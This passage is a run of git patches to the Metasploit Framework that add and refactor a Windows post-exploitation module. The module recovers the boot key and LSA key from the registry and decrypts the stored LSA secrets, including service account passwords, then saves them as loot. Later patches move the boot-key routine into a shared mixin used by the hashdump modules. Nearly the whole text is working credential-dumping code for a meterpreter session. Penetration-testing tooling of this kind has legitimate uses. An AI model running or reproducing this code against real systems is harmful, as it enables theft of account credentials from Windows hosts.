From c59bdbf52ef72ca9c1c8c45aac6e6d323cc5636f Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Wed, 16 Oct 2013 22:10:22 -0400 Subject: [PATCH 001/217] move Rob Bathurst enum_lsa module in from the unstable cold --- .../post/windows/gather/credentials/lsa.rb | 299 ++++++++++++++++++ 1 file changed, 299 insertions(+) create mode 100644 modules/post/windows/gather/credentials/lsa.rb diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb new file mode 100644 index 0000000000..8730555bbc --- /dev/null +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -0,0 +1,299 @@ +## +# $Id: enum_lsa.rb 15362 2012-04-21 rob $ +## + +require 'msf/core' +require 'msf/core/post/windows/priv' +require 'msf/core/post/common' +require 'msf/core/post/windows/registry' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + include Msf::Post::Common + include Msf::Post::Windows::Registry + + def initialize(info={}) + super(update_info(info, + 'Name' => "Windows Enumerate LSA Secrets", + 'Description' => %q{ + This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is: + HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt + code from cachedump. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Rob Bathurst '] + )) + end + + def capture_boot_key + bootkey = "" + basekey = "System\\CurrentControlSet\\Control\\Lsa" + + %W{JD Skew1 GBG Data}.each do |k| + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) + return nil if not ok + bootkey << [ok.query_class.to_i(16)].pack("V") + ok.close + end + + keybytes = bootkey.unpack("C*") + descrambled = "" + descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] + + 0.upto(keybytes.length-1) do |x| + descrambled << [keybytes[descrambler[x]]].pack("C") + end + + return descrambled + end + + def capture_lsa_key(bootkey) + begin + #print_status("Getting PolSecretEncryptionKey...") + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ) + pol = ok.query_value("").data + #print_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}") + ok.close + print_status("XP compatible client") + @vista = 0 + rescue + #print_status("Trying 'V72' style...") + #print_status("Getting PolEKList...") + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ) + pol = ok.query_value("").data + #print_good("Pol: #{pol.unpack("H*")[0]}") + ok.close + print_status("V/7/2k8 compatible client") + @vista = 1 + end + + if( @vista == 1 ) + lsakey = decrypt_lsa(pol, bootkey) + lsakey = lsakey[68,32] + #print_good(lsakey.unpack("H*")[0]) + else + md5x = Digest::MD5.new() + md5x << bootkey + (1..1000).each do + md5x << pol[60,16] + end + + rc4 = OpenSSL::Cipher::Cipher.new("rc4") + rc4.key = md5x.digest + lsakey = rc4.update(pol[12,48]) + lsakey << rc4.final + lsakey = lsakey[0x10..0x1F] + end + return lsakey + end + + def convert_des_56_to_64(kstr) + des_odd_parity = [ + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, + 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, + 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, + 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, + 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, + 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, + 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, + 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, + 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, + 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 + ] + + key = [] + str = kstr.unpack("C*") + + key[0] = str[0] >> 1 + key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) + key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) + key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) + key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) + key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) + key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) + key[7] = str[6] & 0x7F + + 0.upto(7) do |i| + key[i] = ( key[i] << 1) + key[i] = des_odd_parity[key[i]] + end + return key.pack("C*") + end + + + def decrypt_secret(secret, key) + + # Ruby implementation of SystemFunction005 + # the original python code has been taken from Credump + + j = 0 + decrypted_data = '' + + for i in (0...secret.length).step(8) + enc_block = secret[i..i+7] + block_key = key[j..j+6] + des_key = convert_des_56_to_64(block_key) + d1 = OpenSSL::Cipher::Cipher.new('des-ecb') + + d1.padding = 0 + d1.key = des_key + d1o = d1.update(enc_block) + d1o << d1.final + decrypted_data += d1o + j += 7 + if (key[j..j+7].length < 7 ) + j = key[j..j+7].length + end + end + dec_data_len = decrypted_data[0].ord + + return decrypted_data[8..8+dec_data_len] + + end + + def decrypt_lsa(pol, encryptedkey) + + sha256x = Digest::SHA256.new() + sha256x << encryptedkey + (1..1000).each do + sha256x << pol[28,32] + end + + aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc") + aes.key = sha256x.digest + + #print_status("digest #{sha256x.digest.unpack("H*")[0]}") + + decryptedkey = '' + + for i in (60...pol.length).step(16) + aes.decrypt + aes.padding = 0 + xx = aes.update(pol[i...i+16]) + decryptedkey += xx + end + #print_good("Dec_Key #{decryptedkey}") + + return decryptedkey + end + def reg_getvaldata(key,valname) + v = nil + begin + root_key, base_key = client.sys.registry.splitkey(key) + open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) + #print("reading key: #{key}#{valname}\n") + v = open_key.query_value(valname).data + open_key.close + rescue + print_error("Error opening key!") + end + return v + end + #Decrypted LSA key is passed into this function + def get_secret(lkey) + sec_str = "\n" + begin + #LSA Secret key location within the register + root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\" + begin + key_arr = meterpreter_registry_enumkeys(root_key) + key_arr.each do |keys| + begin + mid_key = root_key + "\\" + keys + sk_arr = meterpreter_registry_enumkeys(mid_key) + sk_arr.each do |mkeys| + begin + #CurrVal stores the currently set value of the key, in the case of + #services it usually come out as plan text + if(mkeys == "CurrVal") + val_key = root_key + "\\" + keys + "\\" + mkeys + v_name = "" + sec = reg_getvaldata(val_key, v_name) + if( @vista == 1 ) + #Magic happens here + sec = sec[0..-1] + sec = decrypt_lsa(sec, lkey)[1..-1].scan(/[[:print:]]/).join + else + #and here + sec = sec[0xC..-1] + sec = decrypt_secret(sec, lkey).scan(/[[:print:]]/).join + end + if(sec.length > 0) + if(keys[0,4] == "_SC_") + user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\" + keys_c = keys[4,keys.length] + user_key = user_key << keys_c + n_val = "ObjectName" + user_n = reg_getvaldata(user_key, n_val) + + #if the unencrypted value is not blank and is a service, print + print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n") + sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n" + else + #if the unencrypted value is not blank, print + print_good("Key: #{keys} \n Decrypted Value: #{sec}\n") + sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n" + end + end + else + next + end + rescue ::Exception => e + print_error("Unable to open: #{val_key}") + print_error("Error: #{e.class} #{e}") + end + end + rescue + print_error("Unable to open: #{mid_key}") + end + end + rescue ::Exception => e + print_error("Unable to open: #{root_key}") + print_error("Error: #{e.class} #{e}") + end + rescue + print_error("Cannot find key.") + end + return sec_str + end + + # The sauce starts here + def run + + hostname = session.sys.config.sysinfo['Computer'] + print_status("Executing module against #{hostname}") + + print_status('Obtaining boot key...') + bootkey = capture_boot_key + vprint_status("Boot key: #{bootkey.unpack("H*")[0]}") + + print_status('Obtaining Lsa key...') + lsakey = capture_lsa_key(bootkey) + vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}") + + client.railgun.netapi32() + begin + secrets = hostname << get_secret(lsakey) + print_status("Writing to loot...") + path = store_loot( + 'registry.lsa.sec', + 'text/plain', + session, + secrets, + 'reg_lsa_secrts.txt', + 'Registry LSA Secret Decrypted File') + print_status("Data saved in: #{path}") + rescue ::Exception => e + print_error("Failed to run LSA Enum") + print_error("Error: #{e.class} #{e}") + end + end +end From b42687151f3da0053d936aa29c810472ac70b7c1 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Wed, 16 Oct 2013 22:14:55 -0400 Subject: [PATCH 002/217] convert from tabs to spaces --- .../post/windows/gather/credentials/lsa.rb | 24 +++++++++---------- 1 file changed, 11 insertions(+), 13 deletions(-) diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index 8730555bbc..e81895af58 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -17,16 +17,16 @@ class Metasploit3 < Msf::Post 'Name' => "Windows Enumerate LSA Secrets", 'Description' => %q{ This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is: - HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt + HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt code from cachedump. }, 'License' => MSF_LICENSE, + 'Version' => '$Revision: 15362 $', 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => ['Rob Bathurst '] )) end - def capture_boot_key bootkey = "" basekey = "System\\CurrentControlSet\\Control\\Lsa" @@ -211,7 +211,7 @@ class Metasploit3 < Msf::Post sk_arr = meterpreter_registry_enumkeys(mid_key) sk_arr.each do |mkeys| begin - #CurrVal stores the currently set value of the key, in the case of + #CurrVal stores the currently set value of the key, in the case of #services it usually come out as plan text if(mkeys == "CurrVal") val_key = root_key + "\\" + keys + "\\" + mkeys @@ -226,7 +226,7 @@ class Metasploit3 < Msf::Post sec = sec[0xC..-1] sec = decrypt_secret(sec, lkey).scan(/[[:print:]]/).join end - if(sec.length > 0) + if(sec.length > 0) if(keys[0,4] == "_SC_") user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\" keys_c = keys[4,keys.length] @@ -241,7 +241,7 @@ class Metasploit3 < Msf::Post #if the unencrypted value is not blank, print print_good("Key: #{keys} \n Decrypted Value: #{sec}\n") sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n" - end + end end else next @@ -262,26 +262,24 @@ class Metasploit3 < Msf::Post rescue print_error("Cannot find key.") end - return sec_str + return sec_str end # The sauce starts here def run - - hostname = session.sys.config.sysinfo['Computer'] - print_status("Executing module against #{hostname}") - print_status('Obtaining boot key...') bootkey = capture_boot_key - vprint_status("Boot key: #{bootkey.unpack("H*")[0]}") + #print_status("Boot key: #{bootkey.unpack("H*")[0]}") print_status('Obtaining Lsa key...') lsakey = capture_lsa_key(bootkey) - vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}") + #print_status("Lsa Key: #{lsakey.unpack("H*")[0]}") + hostname = session.sys.config.sysinfo['Computer'] + print_status("Executing module against #{hostname}") client.railgun.netapi32() begin - secrets = hostname << get_secret(lsakey) + secrets = hostname << get_secret(lsakey) print_status("Writing to loot...") path = store_loot( 'registry.lsa.sec', From 2fbd7ea0ba91ba3923eba421adaf7c43cfa530ce Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Wed, 16 Oct 2013 22:17:05 -0400 Subject: [PATCH 003/217] msftidy up --- modules/post/windows/gather/credentials/lsa.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index e81895af58..f093a5b9d4 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Post 'Name' => "Windows Enumerate LSA Secrets", 'Description' => %q{ This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is: - HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt + HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt code from cachedump. }, 'License' => MSF_LICENSE, @@ -211,7 +211,7 @@ class Metasploit3 < Msf::Post sk_arr = meterpreter_registry_enumkeys(mid_key) sk_arr.each do |mkeys| begin - #CurrVal stores the currently set value of the key, in the case of + #CurrVal stores the currently set value of the key, in the case of #services it usually come out as plan text if(mkeys == "CurrVal") val_key = root_key + "\\" + keys + "\\" + mkeys @@ -226,7 +226,7 @@ class Metasploit3 < Msf::Post sec = sec[0xC..-1] sec = decrypt_secret(sec, lkey).scan(/[[:print:]]/).join end - if(sec.length > 0) + if(sec.length > 0) if(keys[0,4] == "_SC_") user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\" keys_c = keys[4,keys.length] @@ -241,7 +241,7 @@ class Metasploit3 < Msf::Post #if the unencrypted value is not blank, print print_good("Key: #{keys} \n Decrypted Value: #{sec}\n") sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n" - end + end end else next @@ -262,24 +262,24 @@ class Metasploit3 < Msf::Post rescue print_error("Cannot find key.") end - return sec_str + return sec_str end # The sauce starts here def run print_status('Obtaining boot key...') bootkey = capture_boot_key - #print_status("Boot key: #{bootkey.unpack("H*")[0]}") + #print_status("Boot key: #{bootkey.unpack("H*")[0]}") print_status('Obtaining Lsa key...') lsakey = capture_lsa_key(bootkey) - #print_status("Lsa Key: #{lsakey.unpack("H*")[0]}") + #print_status("Lsa Key: #{lsakey.unpack("H*")[0]}") hostname = session.sys.config.sysinfo['Computer'] print_status("Executing module against #{hostname}") client.railgun.netapi32() begin - secrets = hostname << get_secret(lsakey) + secrets = hostname << get_secret(lsakey) print_status("Writing to loot...") path = store_loot( 'registry.lsa.sec', From f672e2075b3f17878661a575be53280b55a2e0f8 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Wed, 16 Oct 2013 22:18:24 -0400 Subject: [PATCH 004/217] get rid of ID and Version --- modules/post/windows/gather/credentials/lsa.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index f093a5b9d4..d085510f0e 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -1,5 +1,8 @@ ## -# $Id: enum_lsa.rb 15362 2012-04-21 rob $ +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ ## require 'msf/core' @@ -21,7 +24,6 @@ class Metasploit3 < Msf::Post code from cachedump. }, 'License' => MSF_LICENSE, - 'Version' => '$Revision: 15362 $', 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => ['Rob Bathurst '] From ca88c071cf2a1bc239b37859d91b9060a2bbdb92 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Wed, 16 Oct 2013 22:20:21 -0400 Subject: [PATCH 005/217] remove unneeded railgun call and make vprints out of commented puts --- modules/post/windows/gather/credentials/lsa.rb | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index d085510f0e..82b4dee3f0 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -269,17 +269,18 @@ class Metasploit3 < Msf::Post # The sauce starts here def run - print_status('Obtaining boot key...') - bootkey = capture_boot_key - #print_status("Boot key: #{bootkey.unpack("H*")[0]}") - - print_status('Obtaining Lsa key...') - lsakey = capture_lsa_key(bootkey) - #print_status("Lsa Key: #{lsakey.unpack("H*")[0]}") hostname = session.sys.config.sysinfo['Computer'] print_status("Executing module against #{hostname}") - client.railgun.netapi32() + + print_status('Obtaining boot key...') + bootkey = capture_boot_key + vprint_status("Boot key: #{bootkey.unpack("H*")[0]}") + + print_status('Obtaining Lsa key...') + lsakey = capture_lsa_key(bootkey) + vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}") + begin secrets = hostname << get_secret(lsakey) print_status("Writing to loot...") From b2235049804120f15ef82192939b1c7f47f6b950 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Wed, 16 Oct 2013 22:22:45 -0400 Subject: [PATCH 006/217] clean up run code - remove catchall rescue --- .../post/windows/gather/credentials/lsa.rb | 27 +++++++++---------- 1 file changed, 13 insertions(+), 14 deletions(-) diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index 82b4dee3f0..893f7984ba 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -281,20 +281,19 @@ class Metasploit3 < Msf::Post lsakey = capture_lsa_key(bootkey) vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}") - begin - secrets = hostname << get_secret(lsakey) - print_status("Writing to loot...") - path = store_loot( - 'registry.lsa.sec', - 'text/plain', - session, - secrets, - 'reg_lsa_secrts.txt', - 'Registry LSA Secret Decrypted File') + secrets = hostname << get_secret(lsakey) + + print_status("Writing to loot...") + + path = store_loot( + 'registry.lsa.sec', + 'text/plain', + session, + secrets, + 'reg_lsa_secrts.txt', + 'Registry LSA Secret Decrypted File' + ) + print_status("Data saved in: #{path}") - rescue ::Exception => e - print_error("Failed to run LSA Enum") - print_error("Error: #{e.class} #{e}") - end end end From 1a85bd22a8f92be08d86df1db00f00b351e44624 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Wed, 16 Oct 2013 22:46:15 -0400 Subject: [PATCH 007/217] move capture_boot_key to post win priv --- lib/msf/core/post/windows/priv.rb | 25 +++++++++++++++++++ .../post/windows/gather/credentials/lsa.rb | 21 ---------------- 2 files changed, 25 insertions(+), 21 deletions(-) diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 22381044f6..689574f20c 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -84,4 +84,29 @@ module Msf::Post::Windows::Priv end end + # + # Returns the unscrambled bootkey + # + def capture_boot_key + bootkey = "" + basekey = "System\\CurrentControlSet\\Control\\Lsa" + + %W{JD Skew1 GBG Data}.each do |k| + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) + return nil if not ok + bootkey << [ok.query_class.to_i(16)].pack("V") + ok.close + end + + keybytes = bootkey.unpack("C*") + descrambled = "" + descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] + + 0.upto(keybytes.length-1) do |x| + descrambled << [keybytes[descrambler[x]]].pack("C") + end + + return descrambled + end + end diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index 893f7984ba..a807aa3df7 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -29,27 +29,6 @@ class Metasploit3 < Msf::Post 'Author' => ['Rob Bathurst '] )) end - def capture_boot_key - bootkey = "" - basekey = "System\\CurrentControlSet\\Control\\Lsa" - - %W{JD Skew1 GBG Data}.each do |k| - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) - return nil if not ok - bootkey << [ok.query_class.to_i(16)].pack("V") - ok.close - end - - keybytes = bootkey.unpack("C*") - descrambled = "" - descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] - - 0.upto(keybytes.length-1) do |x| - descrambled << [keybytes[descrambler[x]]].pack("C") - end - - return descrambled - end def capture_lsa_key(bootkey) begin From 8be21a7413d5239da5564f3186483b395c839221 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Wed, 16 Oct 2013 22:58:14 -0400 Subject: [PATCH 008/217] remove the insane amount of rescues --- .../post/windows/gather/credentials/lsa.rb | 111 ++++++++---------- 1 file changed, 50 insertions(+), 61 deletions(-) diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index a807aa3df7..c7c83a6ee9 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -151,7 +151,7 @@ class Metasploit3 < Msf::Post aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc") aes.key = sha256x.digest - #print_status("digest #{sha256x.digest.unpack("H*")[0]}") + vprint_status("digest #{sha256x.digest.unpack("H*")[0]}") decryptedkey = '' @@ -161,16 +161,18 @@ class Metasploit3 < Msf::Post xx = aes.update(pol[i...i+16]) decryptedkey += xx end - #print_good("Dec_Key #{decryptedkey}") + vprint_good("Dec_Key #{decryptedkey}") return decryptedkey end + + def reg_getvaldata(key,valname) v = nil begin root_key, base_key = client.sys.registry.splitkey(key) open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) - #print("reading key: #{key}#{valname}\n") + vprint_status("reading key: #{key}#{valname}\n") v = open_key.query_value(valname).data open_key.close rescue @@ -178,72 +180,59 @@ class Metasploit3 < Msf::Post end return v end + + #Decrypted LSA key is passed into this function def get_secret(lkey) sec_str = "\n" - begin - #LSA Secret key location within the register - root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\" - begin - key_arr = meterpreter_registry_enumkeys(root_key) - key_arr.each do |keys| - begin - mid_key = root_key + "\\" + keys - sk_arr = meterpreter_registry_enumkeys(mid_key) - sk_arr.each do |mkeys| - begin - #CurrVal stores the currently set value of the key, in the case of - #services it usually come out as plan text - if(mkeys == "CurrVal") - val_key = root_key + "\\" + keys + "\\" + mkeys - v_name = "" - sec = reg_getvaldata(val_key, v_name) - if( @vista == 1 ) - #Magic happens here - sec = sec[0..-1] - sec = decrypt_lsa(sec, lkey)[1..-1].scan(/[[:print:]]/).join - else - #and here - sec = sec[0xC..-1] - sec = decrypt_secret(sec, lkey).scan(/[[:print:]]/).join - end - if(sec.length > 0) - if(keys[0,4] == "_SC_") - user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\" - keys_c = keys[4,keys.length] - user_key = user_key << keys_c - n_val = "ObjectName" - user_n = reg_getvaldata(user_key, n_val) - #if the unencrypted value is not blank and is a service, print - print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n") - sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n" - else - #if the unencrypted value is not blank, print - print_good("Key: #{keys} \n Decrypted Value: #{sec}\n") - sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n" - end - end - else - next - end - rescue ::Exception => e - print_error("Unable to open: #{val_key}") - print_error("Error: #{e.class} #{e}") - end + #LSA Secret key location within the register + root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\" + + key_arr = meterpreter_registry_enumkeys(root_key) + key_arr.each do |keys| + mid_key = root_key + "\\" + keys + sk_arr = meterpreter_registry_enumkeys(mid_key) + sk_arr.each do |mkeys| + + #CurrVal stores the currently set value of the key, in the case of + #services it usually come out as plan text + if(mkeys == "CurrVal") + val_key = root_key + "\\" + keys + "\\" + mkeys + v_name = "" + sec = reg_getvaldata(val_key, v_name) + if( @vista == 1 ) + #Magic happens here + sec = sec[0..-1] + sec = decrypt_lsa(sec, lkey)[1..-1].scan(/[[:print:]]/).join + else + #and here + sec = sec[0xC..-1] + sec = decrypt_secret(sec, lkey).scan(/[[:print:]]/).join + end + + if(sec.length > 0) + if(keys[0,4] == "_SC_") + user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\" + keys_c = keys[4,keys.length] + user_key = user_key << keys_c + n_val = "ObjectName" + user_n = reg_getvaldata(user_key, n_val) + + #if the unencrypted value is not blank and is a service, print + print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n") + sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n" + else + #if the unencrypted value is not blank, print + print_good("Key: #{keys} \n Decrypted Value: #{sec}\n") + sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n" end - rescue - print_error("Unable to open: #{mid_key}") + else + next end end - rescue ::Exception => e - print_error("Unable to open: #{root_key}") - print_error("Error: #{e.class} #{e}") end - rescue - print_error("Cannot find key.") - end - return sec_str + return sec_str end # The sauce starts here From b318e32487f789fe66c1cdf0f51f9e499f16218d Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Wed, 16 Oct 2013 23:17:20 -0400 Subject: [PATCH 009/217] removed duplicate code for capture_boot_key functions --- modules/post/windows/gather/cachedump.rb | 23 +---------------- modules/post/windows/gather/hashdump.rb | 25 ++----------------- modules/post/windows/gather/smart_hashdump.rb | 23 ----------------- 3 files changed, 3 insertions(+), 68 deletions(-) diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index 795d69978e..aeb74cd770 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -12,6 +12,7 @@ require 'rex' class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry def initialize(info={}) @@ -52,28 +53,6 @@ class Metasploit3 < Msf::Post end end - def capture_boot_key - bootkey = "" - basekey = "System\\CurrentControlSet\\Control\\Lsa" - - %W{JD Skew1 GBG Data}.each do |k| - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) - return nil if not ok - bootkey << [ok.query_class.to_i(16)].pack("V") - ok.close - end - - keybytes = bootkey.unpack("C*") - descrambled = "" - descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] - - 0.upto(keybytes.length-1) do |x| - descrambled << [keybytes[descrambler[x]]].pack("C") - end - - return descrambled - end - def capture_lsa_key(bootkey) begin print_status("Getting PolSecretEncryptionKey...") if( datastore['DEBUG'] ) diff --git a/modules/post/windows/gather/hashdump.rb b/modules/post/windows/gather/hashdump.rb index 07f6662105..183c980e37 100644 --- a/modules/post/windows/gather/hashdump.rb +++ b/modules/post/windows/gather/hashdump.rb @@ -12,7 +12,9 @@ require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post include Msf::Auxiliary::Report + include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Local User Account Password Hashes (Registry)', @@ -121,29 +123,6 @@ class Metasploit3 < Msf::Post end end - def capture_boot_key - bootkey = "" - basekey = "System\\CurrentControlSet\\Control\\Lsa" - %W{JD Skew1 GBG Data}.each do |k| - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) - return nil if not ok - bootkey << [ok.query_class.to_i(16)].pack("V") - ok.close - end - - keybytes = bootkey.unpack("C*") - descrambled = "" - # descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ] - descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] - - 0.upto(keybytes.length-1) do |x| - descrambled << [ keybytes[ descrambler[x] ] ].pack("C") - end - - - descrambled - end - def capture_hboot_key(bootkey) ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) return if not ok diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index 15c417c1e8..569d409932 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -75,29 +75,6 @@ class Metasploit3 < Msf::Post smart_hash_dump(datastore['GETSYSTEM'], hash_file) end - - def capture_boot_key - bootkey = "" - basekey = "System\\CurrentControlSet\\Control\\Lsa" - %W{JD Skew1 GBG Data}.each do |k| - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) - return nil if not ok - bootkey << [ok.query_class.to_i(16)].pack("V") - ok.close - end - - keybytes = 